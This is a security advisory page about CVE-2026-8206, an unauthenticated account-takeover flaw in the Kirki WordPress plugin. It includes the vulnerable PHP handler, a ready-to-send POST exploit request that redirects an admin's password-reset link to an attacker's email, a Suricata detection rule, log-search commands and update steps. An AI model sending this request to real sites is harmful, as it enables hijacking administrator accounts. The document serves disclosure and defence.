Skip to content

CVE-2026-8206: Kirki Customizer Framework Unauthenticated Privilege Escalation to Account Takeover

HERMES

HERMES THREAT SCORE & ENTERPRISE CMS COMPROMISE

Target: Kirki Customizer Framework WordPress Plugin
Confidence: 98%
97 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-8206 at 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The Hermes Threat Score evaluates the vulnerability at 97 (CRITICAL). This high-severity alignment reflects an unauthenticated, zero-interaction account takeover vector allowing remote attackers to redirect administrator password reset emails to an arbitrary attacker-controlled inbox.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-8206: Kirki Customizer Framework Unauthenticated Privilege Escalation to Account TakeoverVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTKirki Customizer Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Kirki Customizer Framework documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Kirki is a developer toolkit and customizer framework embedded in thousands of commercial WordPress themes to provide real-time UI controls and styling interfaces.

ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-8206Official NVD & Wordfence Threat Intelligence advisory
Common Weakness EnumerationCWE-640 (Weak Password Recovery)Reset link delivery to untrusted attacker-controlled email
Network VectorHTTP/HTTPS (80/TCP, 443/TCP)Unauthenticated AJAX/POST to form handler endpoint
Vulnerable ComponentCompLibFormHandler::handle_forgot_passwordComponentLibrary/controller/CompLibFormHandler.php
Affected Versions6.0.0 to 6.0.6All installations with frontend form modules active
Remediated Versions6.0.7Official patch in WordPress plugin repository changeset 3530843

2. Vulnerability Mechanism & Root Cause Analysis

Section titled “2. Vulnerability Mechanism & Root Cause Analysis”

In CompLibFormHandler.php, the method handle_forgot_password() processed submitted form fields:

// Vulnerable logic in CompLibFormHandler.php (lines 330-355)
public function handle_forgot_password() {
$username = sanitize_text_field( $_POST['username'] ?? '' );
$recipient_email = sanitize_email( $_POST['email'] ?? '' );
$user = get_user_by( 'login', $username );
if ( ! $user ) {
wp_send_json_error( [ 'message' => 'User not found.' ] );
}
// Generate legitimate WordPress reset key
$key = get_password_reset_key( $user );
$reset_url = network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user->user_login ), 'login' );
// FATAL FLAW: Instead of sending to $user->user_email, it sends to $recipient_email!
$target_address = ! empty( $recipient_email ) ? $recipient_email : $user->user_email;
wp_mail( $target_address, 'Password Reset', 'Your reset link: ' . $reset_url );
wp_send_json_success( [ 'message' => 'Password reset email sent.' ] );
}

Because $recipient_email is taken directly from untrusted $_POST['email'], any unauthenticated attacker targeting the admin username can pass email=attacker@evil.com to receive the genuine password reset URL containing a valid key.


An attacker executes the account takeover with a single HTTP POST request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=kirki_forgot_password&username=admin&email=attacker%40exploit-lab.org

Response:

{"success":true,"data":{"message":"Password reset email sent."}}

The attacker monitors their inbox, clicks the generated wp-login.php?action=rp&key=... link, sets a new administrator password, and logs into the WordPress dashboard with full super-administrative privileges.


alert http any any -> $HTTP_SERVERS any (
msg:"HERMES EXPLOIT - Kirki Customizer Unauthenticated Account Takeover (CVE-2026-8206)";
flow:to_server,established;
http.uri; content:"admin-ajax.php";
http.request_body; content:"action=kirki_forgot_password";
pcre:"/action=kirki_forgot_password.*username=[^&]+.*email=[^&]+/i";
classtype:web-application-attack;
sid:20268206; rev:1;
)
Terminal window
# Search web server access logs for Kirki password reset calls
grep "action=kirki_forgot_password" /var/log/nginx/access.log | awk '{print $1, $4, $7}'

  1. Update Kirki Plugin Immediately: Upgrade Kirki to version 6.0.7 via WP-CLI:

    Terminal window
    wp plugin update kirki
  2. Audit Administrative Users: Review all accounts with the administrator role for suspicious recent email or password modifications:

    Terminal window
    wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
  3. Revoke Active User Sessions: Force password resets and terminate active sessions for administrative personnel.